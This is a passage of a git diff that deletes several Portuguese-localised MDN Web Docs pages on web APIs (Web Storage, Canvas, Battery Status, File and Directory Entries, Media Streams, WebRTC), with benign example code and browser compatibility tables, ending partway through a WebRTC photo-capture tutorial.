In addition, we have provided an event output page — if you load this page in another tab, then make changes to your choices in the landing page, you'll see the updated storage information outputted as the {{domxref("StorageEvent")}} is fired.

- -

Especificações

- - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('HTML WHATWG', 'webstorage.html#webstorage')}}{{Spec2('HTML WHATWG')}} 
- -

Compatibilidade de navegador

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FuncionalidadeChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Armazenamento local4{{CompatVersionUnknown}}3.5810.504
Armazenamento da sessão5{{CompatVersionUnknown}}2810.504
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FuncionalidadeAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Suporte básico2.1{{CompatVersionUnknown}}{{ CompatUnknown }}811iOS 3.2
-
- -

All browsers have varying capacity levels for both localStorage and sessionStorage. Here is a detailed rundown of all the storage capacities for various browsers.

- -
-

Nota: since iOS 5.1, Safari Mobile stores localStorage data in the cache folder, which is subject to occasional clean up, at the behest of the OS, typically if space is short.

-
- -

Modos Incógnito / Navegação Privada

- -

Most modern browsers support a privacy option called 'Incognito', 'Private Browsing' or something similar that doesn't store data like history and cookies. This is fundamentally incompatible with Web Storage for obvious reasons. As such, browser vendors are experimenting with different scenarios for how to deal with this incompatibility.

- -

Most browsers have opted for a strategy where storage APIs are still available and seemingly fully functional, with the one big difference that all stored data is wiped after the browser is closed. For these browsers there are still different interpretations of what should be done with existing stored data (from a regular browsing session). Should it be available to read when in Private mode? Then there are some browsers, most notably Safari, that have opted for a solution where storage is available, but is empty and has a quota of 0 bytes assigned, effectively making it impossible to write data to it.

- -

Developers should be aware of these different implementations and take them into account when developing websites depending on Web Storage APIs. For more information please have a look at this WHATWG blog post that specifically deals with this topic.

- -

Consulte também

- - diff --git a/files/pt-pt/web/api/api_de_canvas/index.html b/files/pt-pt/web/api/api_de_canvas/index.html deleted file mode 100644 index 17971de4ee..0000000000 --- a/files/pt-pt/web/api/api_de_canvas/index.html +++ /dev/null @@ -1,247 +0,0 @@ ---- -title: API de Canvas -slug: Web/API/API_de_canvas -translation_of: Web/API/Canvas_API ---- -
{{CanvasSidebar}}
- -

Added in HTML5, the HTML {{HTMLElement("canvas")}} element can be used to draw graphics via scripting in JavaScript. For example, it can be used to draw graphs, make photo compositions, create animations, or even do real-time video processing or rendering.

- -

Mozilla applications gained support for <canvas> starting with Gecko 1.8 (i.e. Firefox 1.5). The element was originally introduced by Apple for the OS X Dashboard and Safari. Internet Explorer supports <canvas> from version 9 onwards; for earlier versions of IE, a page can effectively add support for <canvas> by including a script from Google's Explorer Canvas project. Google Chrome and Opera 9 also support <canvas>.

- -

The <canvas> element is also used by WebGL to draw hardware-accelerated 3D graphics on web pages.

- -

Exemplo

- -

This is just a simple code snippet which uses the {{domxref("CanvasRenderingContext2D.fillRect()")}} method.

- -

HTML

- -
<canvas id="canvas"></canvas>
-
- -

JavaScript

- -
var canvas = document.getElementById('canvas');
-var ctx = canvas.getContext('2d');
-
-ctx.fillStyle = 'green';
-ctx.fillRect(10, 10, 100, 100);
-
- -

Edit the code below and see your changes update live in the canvas:

- - - -

{{ EmbedLiveSample('Playable_code', 700, 360) }}

- -

Referência

- -
- -
- -

The interfaces related to the WebGLRenderingContext are referenced under WebGL.

- -

{{domxref("CanvasCaptureMediaStream")}} is related.

- -

Guias e tutoriais

- -
-
Canvas tutorial
-
A comprehensive tutorial covering both the basic usage of <canvas> and its advanced features.
-
Code snippets: Canvas
-
Some extension developer-oriented code snippets involving <canvas>.
-
Demo: A basic ray-caster
-
A demo of ray-tracing animation using canvas.
-
Drawing DOM objects into a canvas
-
How to draw DOM content, such as HTML elements, into a canvas.
-
Manipulating video using canvas
-
Combining {{HTMLElement("video")}} and {{HTMLElement("canvas")}} to manipulate video data in real time.
-
- -

Recursos

- -

Genérico

- - - -

Bibliotecas

- - - -

Especificações

- - - - - - - - - - - - - - - - -
EpecificaçãoEstadoComentário
{{SpecName('HTML WHATWG', 'scripting.html#the-canvas-element', '<canvas>')}}{{Spec2('HTML WHATWG')}} 
- -

Consulte também

- - - -
- - - - - -
diff --git a/files/pt-pt/web/api/api_de_canvas/tutorial/index.html b/files/pt-pt/web/api/api_de_canvas/tutorial/index.html deleted file mode 100644 index b93457336d..0000000000 --- a/files/pt-pt/web/api/api_de_canvas/tutorial/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Tutorial de Canvas -slug: Web/API/API_de_canvas/Tutorial -tags: - - Canvas - - Guía - - HTML - - HTML5 - - Intermediário - - Web - - graficos -translation_of: Web/API/Canvas_API/Tutorial ---- -
{{CanvasSidebar}}
- -
- -
-

<canvas> is an HTML element which can be used to draw graphics via scripting (usually JavaScript). This can, for instance, be used to draw graphs, make photo composition or simple (and not so simple) animations. The images on this page show examples of <canvas> implementations which will be created in this tutorial.

-
- -

This tutorial describes how to use the <canvas> element to draw 2D graphics, starting with the basics. The examples provided should give you some clear ideas what you can do with canvas and will provide code snippets that may get you started in building your own content.

- -

First introduced in WebKit by Apple for the OS X Dashboard, <canvas> has since been implemented in browsers. Today, all major browsers support it.

- -

Antes de começar

- -

Using the <canvas> element is not very difficult, but you do need a basic understanding of HTML and JavaScript. The <canvas> element is not supported in some older browsers, but is supported in recent versions of all major browsers. The default size of the canvas is 300 px × 150 px (width × height). But custom sizes can be defined using the HTML height and width property. In order to draw graphics on the canvas we use a JavaScript context object, which creates graphics on the fly.

- -

Neste tutorial

- - - -

Consulte também:

- - - -

Uma nota para os colaboradores

- -

Due to an unfortunate technical error that occurred the week of June 17, 2013, we lost the history of this tutorial, including attributions to all past contributors to its content. We apologize for this, and hope you'll forgive this unfortunate mishap.

- -
{{ Next("Web/API/Canvas_API/Tutorial/Basic_usage") }}
diff --git a/files/pt-pt/web/api/api_do_estado_da_bateria/index.html b/files/pt-pt/web/api/api_do_estado_da_bateria/index.html deleted file mode 100644 index 4805a71bc6..0000000000 --- a/files/pt-pt/web/api/api_do_estado_da_bateria/index.html +++ /dev/null @@ -1,169 +0,0 @@ ---- -title: API do Estado da Bateria -slug: Web/API/API_do_Estado_da_Bateria -tags: - - API - - API de Bateria - - API do Estado da Bateria - - Aplicações - - Apps - - Firefox OS - - Guía - - Movel - - Resumo - - Sinopse -translation_of: Web/API/Battery_Status_API ---- -
{{obsolete_header}}
- -
{{DefaultAPISidebar("Battery API")}}
- -

A API do Estado da Bateria, mais conhecida como API de Bateria, fornece informação sobre o nível de carga da bateria do sistema e permite-lhe que seja notificado por eventos que são enviados quando o nível da bateria ou o estado de carregamento é alterado. Isto pode ser utilizado para ajustar a utilização de recursos da aplicação para reduzir o consumo de bateria quando a bateria estiver fraca ou para guardar as alterações antes que a bateria acabe para evitar a perda de dados.

- -

The Battery Status API extends {{domxref("window.navigator")}} with a {{domxref("navigator.getBattery()")}} method returning a battery promise, which is resolved in a {{domxref("BatteryManager")}} object providing also some new events you can handle to monitor the battery status.

- -

Exemplo

- -

In this example, we watch for changes both to the charging status (whether or not we're plugged in and charging) and for changes to the battery level and timing. This is done by listening for the {{event("chargingchange")}}, {{event("levelchange")}}, {{event("chargingtimechange")}}, {{event("dischargingtimechange")}} events.

- -
navigator.getBattery().then(function(battery) {
-  function updateAllBatteryInfo(){
-    updateChargeInfo();
-    updateLevelInfo();
-    updateChargingInfo();
-    updateDischargingInfo();
-  }
-  updateAllBatteryInfo();
-
-  battery.addEventListener('chargingchange', function(){
-    updateChargeInfo();
-  });
-  function updateChargeInfo(){
-    console.log("Battery charging? "
-                + (battery.charging ? "Yes" : "No"));
-  }
-
-  battery.addEventListener('levelchange', function(){
-    updateLevelInfo();
-  });
-  function updateLevelInfo(){
-    console.log("Battery level: "
-                + battery.level * 100 + "%");
-  }
-
-  battery.addEventListener('chargingtimechange', function(){
-    updateChargingInfo();
-  });
-  function updateChargingInfo(){
-    console.log("Battery charging time: "
-                 + battery.chargingTime + " seconds");
-  }
-
-  battery.addEventListener('dischargingtimechange', function(){
-    updateDischargingInfo();
-  });
-  function updateDischargingInfo(){
-    console.log("Battery discharging time: "
-                 + battery.dischargingTime + " seconds");
-  }
-
-});
-
- -

See also the example in the specification.

- -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName("Battery API")}}{{Spec2("Battery API")}}Initial definition
- -

Compatibilidade do navegador

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(39.0)}}{{CompatGeckoDesktop("10")}} {{property_prefix("moz")}}
- {{CompatGeckoDesktop("16")}}[1]
- {{CompatGeckoDesktop("43")}}[3]
- {{CompatGeckoDesktop("52")}}[4]
{{CompatNo}}25{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(40.0)}} -

{{CompatGeckoMobile("10")}} {{property_prefix("moz")}}
- {{CompatGeckoMobile("16")}}[1]
- {{CompatGeckoMobile("43")}}[3]
- {{CompatGeckoMobile("52")}}[3]

-
{{CompatNo}}25[2]{{CompatNo}}{{CompatChrome(42.0)}}[2]
-
- -

[1] Disabled by default in Firefox 10.0, but can be enabled setting the preference dom.battery.enabled to true. Starting with Firefox 11.0, mozBattery is enabled by default. The Battery API is currently supported on Android, Windows, and Linux with UPower installed. Support for MacOS is available starting with Gecko 18.0 {{geckoRelease("18.0")}}. Firefox also provides support for the deprecated {{domxref("navigator.battery")}}.

- -

[2] Values for {{domxref("BatteryManager.chargingTime")}} and {{domxref("BatteryManager.dischargingTime")}} are always equal to Infinity.

- -

[3] The new promise-based syntax for {{domxref("Navigator.getBattery()")}} is supported from Firefox 43 onwards.

- -

[4] From Firefox 52 onwards, the Battery Status API is only available in chrome/privileged code.

- -

Consultar também

- - diff --git a/files/pt-pt/web/api/api_entradas_de_diretoria_e_ficheiro/index.html b/files/pt-pt/web/api/api_entradas_de_diretoria_e_ficheiro/index.html deleted file mode 100644 index 26e56945ee..0000000000 --- a/files/pt-pt/web/api/api_entradas_de_diretoria_e_ficheiro/index.html +++ /dev/null @@ -1,191 +0,0 @@ ---- -title: API Entradas de Diretoria e Ficheiro -slug: Web/API/API_Entradas_de_Diretoria_e_Ficheiro -tags: - - API - - API Entradas de Diretoria e Ficheiro - - API Sistema de Ficheiros - - Ficheiros - - Não Padrão - - Referencia - - Resuno - - Sinopse -translation_of: Web/API/File_and_Directory_Entries_API ---- -

{{DefaultAPISidebar("File System API")}}{{Non-standard_header}}

- -

API Entradas de Diretoria e Ficheiro simula um sistema de ficheiros local em que as páginas da Web podem navegar dentro e aceder aos ficheiros na mesma. Pode desenvolver aplicações que lêem, escrevem e criam ficheiros e/ou diretorias num sistema de ficheiros virtual e ambiente de testes (sandbox).

- -
-

Because this is a non-standard API, whose specification is not currently on a standards track, it's important to keep in mind that not all browsers implement it, and those that do may implement only small portions of it. Check the {{anch("Browser compatibility")}} section for details.

-
- -

Two very similar APIs exist depending on whether you desire asynchronous or synchronous behavior. The synchronous API is indended to be used inside a {{domxref("Worker")}} and will return the values you desire. The asynchronous API will not block and functions and the API will not return values; instead, you will need to supply a callback function to handle the response whenever it arrives.

- -
-

The Firefox implementation of the File and Directory Entries API is very limited; there is no support for creating files. Only for accessing files which are selected by the user in a file {{HTMLElement("input")}} element (see {{domxref("HTMLInputElement")}} as well) or when a file or directory is provided to the Web site or app using drag and drop. Firefox also does not implement the synchronous API. Check the browser compatibility for any part of the API you use carefully, and see File and Directory Entries API support in Firefox for more details.

-
- -

Obter acesso a um sistema de ficheiros

- -

There are two ways to get access to file systems defined in the current specification draft:

- - - -

API Assíncrona

- -

The asynchronous API should be used for most operations, to prevent file system accesses from blocking the entire browser if used on the main thread. It includes the following interfaces:

- -
-
{{domxref("FileSystem")}}
-
Represents a file system.
-
{{domxref("FileSystemEntry")}}
-
The basic interface representing a single entry in a file system. This is implemented by other interfaces which represent files or directories.
-
{{domxref("FileSystemFileEntry")}}
-
Represents a single file in a file system.
-
{{domxref("FileSystemDirectoryEntry")}}
-
Represents a single directory in a file system.
-
{{domxref("FileSystemDirectoryReader")}}
-
Created by calling {{domxref("FileSystemDirectoryEntry.createReader()")}}, this interface provides the functionality which lets you read the contents of a directory.
-
{{domxref("FileSystemFlags")}}
-
Defines a set of values which are used when specifying option flags when calling certain methods in the File and Directory Entries API.
-
{{domxref("FileError")}}
-
Represents an error which is generated by asynchronous file system calls.
-
- -

There are also two global functions (which are not part of the specification at this time and are implemented only by Google Chrome). They're available on the {{domxref("Window")}} object and implemented in {{domxref("LocalFileSystem")}}: requestFileSystem() and resolveLocalFileSystemURL().

- -

API Síncrona

- -

The synchronous API is should only be used in {{domxref("Worker")}}s; these calls block until they're finished executing, and simply return the results instead of using callbacks. Using them on the main thread will block the browser, which is naughty. The interfaces below otherwise mirror the ones from the asynchronous API.

- -
-
{{domxref("FileSystemSync")}}
-
Represents a file system.
-
{{domxref("FileSystemEntrySync")}}
-
The basic interface representing a single entry in a file system. This is implemented by other interfaces which represent files or directories. {{domxref("EntrySync")}}
-
{{domxref("FileSystemFileEntrySync")}}
-
Represents a single file in a file system.
-
{{domxref("FileSystemDirectoryEntrySync")}}
-
Represents a single directory in a file system.
-
{{domxref("FileSystemDirectoryReaderSync")}}
-
Created by calling {{domxref("FileSystemDirectoryEntrySync.createReader()")}}, this interface provides the functionality which lets you read the contents of a directory.
-
{{domxref("FileException")}}
-
Represents an error which is generated by synchronous file system calls.
-
- -

There are also two global functions (which are not part of the specification at this time and are implemented only by Google Chrome). They're available on the {{domxref("Worker")}} object and implemented in {{domxref("LocalFileSystemSync")}}: requestFileSystemSync() and resolveLocalFileSystemSyncURL().

- -

Outras Interfaces

- -
-
{{domxref("LocalFileSystem")}}
-
Gives you access to a sandboxed file system.
-
{{domxref("LocalFileSystemSync")}}
-
 
-
{{domxref("LockedFile")}}
-
Provides tools to deal with a given file with all the necessary locks.
-
{{domxref("Metadata")}}{{experimental_inline}}
-
- -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('File System API')}}{{Spec2('File System API')}}Draft of proposed API
- -

This API has no official W3C or WHATWG specification.

- -

Compatibilidade de navegador

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Asynchronous API13 {{ property_prefix("webkit") }}{{ CompatGeckoDesktop(50) }}[1]{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
Synchronous API13 {{ property_prefix("webkit") }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Asynchronous API{{ CompatNo }}{{ CompatVersionUnknown }} {{ property_prefix("webkit") }}{{ CompatGeckoMobile(50) }}[1]{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
Synchronous API{{ CompatNo }}{{ CompatVersionUnknown }} {{ property_prefix("webkit") }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
-
- -

[1] Firefox 50 introduces partial support for the File and Directory Entries API. Be sure to check the compatibility tables for individual interfaces and methods before using them, to ensure that they're supported, before you use them. The API can be disabled by setting the value of the preference dom.webkitBlink.filesystem.enabled to false.

- -

Consulte também

- - diff --git a/files/pt-pt/web/api/api_transmissoes_multimedia/index.html b/files/pt-pt/web/api/api_transmissoes_multimedia/index.html deleted file mode 100644 index 399945ab71..0000000000 --- a/files/pt-pt/web/api/api_transmissoes_multimedia/index.html +++ /dev/null @@ -1,211 +0,0 @@ ---- -title: API de Captura de Transmissões de Multimédia (Media Streams) -slug: Web/API/API_transmissoes_multimedia -tags: - - API - - API de Transmissão de Multimédia - - Audio - - Avançado - - Guía - - Introdução - - Media - - Multimedia - - Video -translation_of: Web/API/Media_Streams_API ---- -
{{DefaultAPISidebar("Media Capture and Streams")}}
- -

A API de Media Capture and Streams, muitas vezes chamada de Media Stream API ou Stream API, é uma API relacionada com WebRTC que suporta transmissões de dados de áudio ou vídeo, os métodos para trabalhar com eles, as restrições associadas com o tipo de dados, as devoluções de retorno de sucesso e erro quando utilizar os dados de forma assíncrona, e os eventos que foram ativados durante o processo.

- -

Conceitos básicos

- -

The API is based on the manipulation of a {{domxref("MediaStream")}} object representing a flux of audio- or video-related data. See an example in Get the video.

- -

A MediaStream consists of zero or more {{domxref("MediaStreamTrack")}} objects, representing various audio or video tracks. Each MediaStreamTrack may have one or more channels. The channel represents the smallest unit of a media stream, such as an audio signal associated with a given speaker, like left or right in a stereo audio track.

- -

MediaStream objects have a single input and a single output. A MediaStream object generated by {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} is called local, and has as its source input one of the user's cameras or microphones. A non-local MediaStream may be representing to a media element, like {{HTMLElement("video")}} or {{HTMLElement("audio")}}, a stream originating over the network, and obtained via the WebRTC {{domxref("RTCPeerConnection")}} API, or a stream created using the Web Audio API {{domxref("MediaStreamAudioSourceNode")}}.   The output of the MediaStream object is linked to a consumer. It can be a media elements, like {{HTMLElement("audio")}} or {{HTMLElement("video")}},  the WebRTC {{domxref("RTCPeerConnection")}} API or a Web Audio API {{domxref("MediaStreamAudioDestinationNode")}}.

- -

Referência

- -
- -
- -

Guias e tutoriais

- -

{{LandingPageListSubpages}}

- -

Compatibilidade de navegador

- -

{{ CompatibilityTable }} 

- -
- - - - - - - - - - - - - - - - - - - - - -
FuncionalidadeChromeFirefox (Gecko)EdgeInternet ExplorerOpera Safari (WebKit)
Stream API 21{{ property_prefix("webkit") }} Nightly 18{{ property_prefix("moz") }} {{ CompatVersionUnknown }}{{ CompatUnknown }} 12{{ CompatUnknown }} 
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FuncionalidadeAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
API de emissão{{ CompatNo }} {{CompatVersionUnknown}}{{ CompatUnknown }}{{ CompatUnknown }} {{ CompatNo }} {{ CompatNo }} 
-
- -

 

- -

Currently using WebRTC for accessing the camera is supported in Chrome, Opera and Firefox Nightly 18. Enabling WebRTC in Firefox Nightly requires you to set a flag in the configuration:

- - - -

Consulte também

- - - -
- - - - - -
diff --git a/files/pt-pt/web/api/api_webrtc/index.html b/files/pt-pt/web/api/api_webrtc/index.html deleted file mode 100644 index 8e1b31898b..0000000000 --- a/files/pt-pt/web/api/api_webrtc/index.html +++ /dev/null @@ -1,287 +0,0 @@ ---- -title: API de WebRTC -slug: Web/API/API_WebRTC -tags: - - API - - API de WebRTC - - API de WebRTCÁudio - - Multimedia - - Rede - - Video - - WebRTC - - emissão - - transmissão -translation_of: Web/API/WebRTC_API ---- -
{{APIRef("WebRTC")}}
- -

WebRTC (Comunicações da Web em Tempo Real) é uma tecnologia que permite às aplicações e sites da Web capturar e opcionalmente transmitir multimédia de áudio e/ou vídeo, bem como trocar dados arbitrariamente entre navegadores sem a necessidade de um intermediário. O conjunto de normas que compreende WebRTC torna possível a partilha de dados e realizar teleconferência peer-to-peer, sem precisar que o utilizador instale plug-ins ou qualquer outro software de terceiros.

- -

WebRTC consiste em diversos protocolos e APIs inter-relacionadas que trabalham em conjunto para obter isto. A documentação que irá encontrar aqui irá ajudá-lo a compreender o essencial de WebRTC, como configurar e utilizar ligações de dados e multimédia, e muito mais.

- -

Conceitos e utilização de WebRTC

- -

O WebRTC atende múltiplos propósitos e se destaca consideravelmente com Media Capture e Streams API. Juntos, eles fornecem recursos multimídia poderosos para a Web, incluindo suporte para conferências de áudio e vídeo, troca de arquivos, gerenciamento de identidade e interface com sistemas telefônicos legados, enviando sinais  {{Glossary("DTMF")}} . As conexões entre pares podem ser feitas sem exigir drivers especiais ou plug-ins, e muitas vezes podem ser feitas sem nenhum servidor intermediário.

- -

As conexões entre dois pares são criadas usando - e representadas pela interface - {{domxref("RTCPeerConnection")}} . Uma vez que uma conexão foi estabelecida e aberta, os fluxos de mídia ({{domxref("MediaStream")}}s) e / ou canais de dados ({{domxref("RTCDataChannel")}}s) podem ser adicionados à conexão.

- -

Os fluxos de mídia podem ser constituídos de qualquer número de faixas de informações de mídia; As faixas, que são representadas por objetos com base na interface {{domxref("MediaStreamTrack")}} , podem conter um dos vários tipos de dados de mídia, incluindo áudio, vídeo e texto (como legendas ou nomes de capítulos) . A maioria dos fluxos consistem em pelo menos uma faixa de áudio e provavelmente também uma faixa de vídeo, e pode ser usados para enviar e receber mídia ao vivo ou informações de mídia armazenada (como um filme transmitido).

- -

Você também pode usar a conexão entre dois pares para trocar dados binários arbitrários usando a interface {{domxref("RTCDataChannel")}} . Isso pode ser usado para informações back-channel, troca de metadados, pacotes com status de jogos, transferências de arquivos ou mesmo como um canal primário para transferência de dados.

- -

Mais detalhes e links para guias relevantes e tutoriais necessários

- -

Interfaces de WebRTC

- -

Como a WebRTC fornece interfaces que trabalham juntas para realizar uma variedade de tarefas, dividimos as interfaces na lista abaixo por categoria. Veja a barra lateral para uma lista alfabética.

- -

Gestão e configuração de ligação

- -

Essas interfaces são usadas para configurar, abrir e gerenciar conexões WebRTC.

- -
-
{{domxref("RTCPeerConnection")}}
-
Representa uma conexão WebRTC entre o computador local e um ponto remoto. Ele é usado para lidar com transmissão eficiente de dados entre os dois pares.
-
{{domxref("RTCDataChannel")}}
-
Representa um canal de dados bidirecional entre dois pares de uma conexão.
-
{{domxref("RTCDataChannelEvent")}}
-
Representa eventos que ocorrem ao anexar um {{domxref("RTCDataChannel")}} a um {{domxref("RTCPeerConnection")}} . O único evento enviado com esta interface é {{event("datachannel")}} .
-
{{domxref("RTCSessionDescription")}}
-
Representa os parâmetros de uma sessão. Cada RTCSessionDescription consiste em um tipo de descrição que indica qual parte do processo de negociação de oferta(offer) / resposta(answer) isso descreve e do SDP descritor da sessão.
-
{{domxref("RTCStatsReport")}}
-
Fornece informações detalhando estatísticas para uma conexão ou para uma faixa individual na conexão; O relatório pode ser obtido chamando {{domxref("RTCPeerConnection.getStats()")}} .
-
{{domxref("RTCIceCandidate")}}
-
Representa um servidor candidato que estabelece a conectividade de internet (ICE -internet connectivity establishment) para estabelecer um {{domxref("RTCPeerConnection")}} .
-
{{domxref("RTCIceTransport")}}
-
Representa informações sobre o transporte referentes ao estabelecimento de conectividade de internet (ICE - internet connectivity establishment).
-
{{domxref("RTCPeerConnectionIceEvent")}}
-
Representa eventos que ocorrem em relação aos candidatos ICE com o destino, geralmente um {{domxref("RTCPeerConnection")}} . Apenas um evento é deste tipo: {{event("icecandidate")}} .
-
{{domxref("RTCRtpSender")}}
-
Gerencia a codificação e a transmissão de dados para um {{domxref("MediaStreamTrack")}} em {{domxref("RTCPeerConnection")}}.
-
{{domxref("RTCRtpReceiver")}}
-
Gerencia a recepção e decodificação de dados para um {{domxref("MediaStreamTrack")}} em um {{domxref("RTCPeerConnection")}}.
-
{{domxref("RTCTrackEvent")}}
-
Indica que uma nova entrada {{domxref("MediaStreamTrack")}} foi criada e um objeto associado {{domxref("RTCRtpReceiver")}} foi adicionado ao objeto {{domxref("RTCPeerConnection")}} .
-
- -

Identidade e segurança

- -

A API WebRTC inclui uma série de interfaces para gerenciar segurança e identidade.

- -
-
{{domxref("RTCIdentityProvider")}}
-
Permite que um agente do usuário possa solicitar que uma confirmação de identidade seja gerada ou validada.
-
{{domxref("RTCIdentityAssertion")}}
-
Representa a identidade de um ponto remoto da conexão atual. Caso nenhum par (peer) seja configurado e verificado, esta interface retorna null. Uma vez configurado, este não poderá ser alterado.
-
{{domxref("RTCIdentityProviderRegistrar")}}
-
Registra um provedor de identidade (idP).
-
{{domxref("RTCIdentityEvent")}}
-
Representa uma confirmação de identidade gerada por um provedor de identidade (idP). Isso geralmente é para um {{domxref("RTCPeerConnection")}}. O único evento enviado com este tipo é {{event("identityresult")}}.
-
{{domxref("RTCIdentityErrorEvent")}}
-
Representa um erro associado ao provedor de identidade (idP). Isso geralmente é para um {{domxref("RTCPeerConnection")}} . Dois eventos são enviados com este tipo: {{event("idpassertionerror")}} e {{event("idpvalidationerror")}} .
-
{{domxref("RTCCertificate")}}
-
Representa um certificado que um {{domxref("RTCPeerConnection")}} usa para autenticar.
-
- -

Telefonia

- -

Essas interfaces estão relacionadas à interatividade com redes telefônicas de comutação pública (PTSNs).

- -
-
{{domxref("RTCDTMFSender")}}
-
Gerencia a codificação e a transmissão da sinalização multi-frequência de dois tons (DTMF) para um {{domxref("RTCPeerConnection")}}.
-
{{domxref("RTCDTMFToneChangeEvent")}}
-
Indica uma ocorrência de uma multi-frequência de dois tons (DTMF). Este evento não faz bolha (bubble) (exceto quando indicado de outra forma) e não é cancelável (exceto quando indicado de outra forma).
-
- -

Outros

- -
-
{{domxref("RTCIceServer")}}
-
Define como ligar a um único servidor de ICE (tais como um servidor STUN ou TURN).
-
- -

 

- -

Guias

- -
-
Introduction to WebRTC protocols
-
This article introduces the protocols on top of which the WebRTC API is built.
-
WebRTC connectivity
-
A guide to how WebRTC connections work and how the various protocols and interfaces can be used together to build powerful communication apps.
-
Lifetime of a WebRTC session
-
WebRTC lets you build peer-to-peer communication of arbitrary data, audio, or video—or any combination thereof—into a browser application. In this article, we'll look at the lifetime of a WebRTC session, from establishing the connection all the way through closing the connection when it's no longer needed.
-
Signaling and two-way video calling
-
A tutorial and example which turbs a WebSocket-based chat system created for a previous example and adds support for opening video calls among participants. The chat server's WebSocket connection is used for WebRTC signaling.
-
Using WebRTC data channels
-
This guide covers how you can use a peer connection and an associated {{domxref("RTCDataChannel")}} to exchange arbitrary data between two peers.
-
Using DTMF with WebRTC
-
WebRTC's support for interacting with gateways that link to old-school telephone systems includes support for sending DTMF tones using the {{domxref("RTCDTMFSender")}} interface. This guide shows how to do so.
-
- -

Tutoriais

- -
-
Improving compatibility using WebRTC adapter.js
-
The WebRTC organization provides on GitHub the WebRTC adapter to work around compatibility issues in different browsers' WebRTC implementations. The adapter is a JavaScript shim which lets your code to be written to the specification so that it will "just work" in all browsers with WebRTC support.
-
Taking still photos with WebRTC
-
This article shows how to use WebRTC to access the camera on a computer or mobile phone with WebRTC support and take a photo with it.
-
A simple RTCDataChannel sample
-
The {{domxref("RTCDataChannel")}} interface is a feature which lets you open a channel between two peers over which you may send and receive arbitrary data. The API is intentionally similar to the WebSocket API, so that the same programming model can be used for each.
-
- -

Recursos

- -

Protocolos

- -

WebRTC-proper protocols

- - - - - - - -

Especificações

- - - - - - - - - - - - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('WebRTC 1.0')}}{{Spec2('WebRTC 1.0')}}A definição inicial da API do WebRTC.
{{SpecName('Media Capture')}}{{Spec2('Media Capture')}}A definição inicial do objeto que transmite o fluxo de conteúdo de mídia.
{{SpecName('Media Capture DOM Elements')}}{{Spec2('Media Capture DOM Elements')}}A definição inicial sobre como obter fluxo de conteúdo de Elementos DOM
- -

Em adição a estas especificações que definem a API necessária para usar o WebRTC, existem vários protocolos, listados em recursos.

- - - - - -
- - - - - -
diff --git a/files/pt-pt/web/api/api_webrtc/tirar_fotografias/index.html b/files/pt-pt/web/api/api_webrtc/tirar_fotografias/index.html deleted file mode 100644 index 203ebfab5b..0000000000 --- a/files/pt-pt/web/api/api_webrtc/tirar_fotografias/index.html +++ /dev/null @@ -1,222 +0,0 @@ ---- -title: Tirar fotografias com a câmara da Web -slug: Web/API/API_WebRTC/Tirar_fotografias -tags: - - API - - Avançado - - Código amostra - - Exemplo - - Vídeo(2) - - WebRTC - - cãmara da Web -translation_of: Web/API/WebRTC_API/Taking_still_photos ---- -

{{WebRTCSidebar}}

- -

This article shows how to use WebRTC to access the camera on a computer or mobile phone with WebRTC support and take a photo with it. Try this sample then read on to learn how it works.

- -

You can also jump straight to the code on Github if you like.

- -

The HTML markup

- -

Our HTML interface has two main operational sections: the stream and capture panel and the presentation panel. Each of these is presented side-by-side in its own {{HTMLElement("div")}} to facilitate styling and control.

- -

The first panel on the left contains two components: a {{HTMLElement("video")}} element, which will receive the stream from WebRTC, and a {{HTMLElement("button")}} the user clicks to capture a video frame.

- -
  <div class="camera">
-    <video id="video">Video stream not available.</video>
-    <button id="startbutton">Take photo</button>
-  </div>
- -

This is straightforward, and we'll see how it ties together when we get into the JavaScript code.

- -

Next, we have a {{HTMLElement("canvas")}} element into which the captured frames are stored, potentially manipulated in some way, and then converted into an output image file. This canvas is kept hidden by styling the canvas with {{cssxref("display")}}:none, to avoid cluttering up the screen — the user does not need to see this intermediate stage.

- -

We also have an {{HTMLElement("img")}} element into which we will draw the image — this is the final display shown to the user.

- -
  <canvas id="canvas">
-  </canvas>
-  <div class="output">
-    <img id="photo" alt="The screen capture will appear in this box.">
-  </div>
- -

That's all of the relevant HTML. The rest is just some page layout fluff and a bit of text offering a link back to this page.

- -

O código de JavaScript

- -

Now let's take a look at the JavaScript code. We'll break it up into a few bite-sized pieces to make it easier to explain.

- -

Initialização

- -

We start by wrapping the whole script in an anonymous function to avoid global variables, then setting up various variables we'll be using.

- -
(function() {
-  var width = 320;    // We will scale the photo width to this
-  var height = 0;     // This will be computed based on the input stream
-
-  var streaming = false;
-
-  var video = null;
-  var canvas = null;
-  var photo = null;
-  var startbutton = null;
- -

Those variables are:

- -
-
largura
-
Whatever size the incoming video is, we're going to scale the resulting image to be 320 pixels wide.
-
altura
-
The output height of the image will be computed given the width and the aspect ratio of the stream.
-
transmissão
-
